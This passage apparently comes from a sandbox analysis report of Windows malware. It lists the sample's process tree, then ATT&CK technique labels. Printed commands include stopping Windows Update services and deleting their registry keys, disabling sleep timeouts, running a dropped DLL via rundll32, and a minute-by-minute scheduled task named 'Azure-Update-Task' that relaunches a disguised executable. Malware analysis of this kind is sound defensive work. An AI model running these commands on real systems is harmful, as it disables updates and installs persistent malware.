    3⤵
    PID:4948
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:240
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3488
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1424
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4184
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3388
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4928
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2340
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4528
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3888
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4060
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4352
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:3172
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4600
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:3360
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:2348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:868
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:4248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4184 -ip 4184
1⤵
PID:3320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4788 -ip 4788
1⤵
PID:1888

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4492
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:2416
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 608
    3⤵
    - Program crash
    PID:4424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2416 -ip 2416
1⤵
PID:5104

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
PID:1644
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:3168
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3168 -s 600
    3⤵
    - Program crash
    PID:2744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3168 -ip 3168
1⤵
PID:2808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1424 -ip 1424
1⤵
PID:1992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3432 -ip 3432
1⤵
PID:1876

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:3980
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:4904

C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
1⤵
PID:3612

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
PID:3168

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2292

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery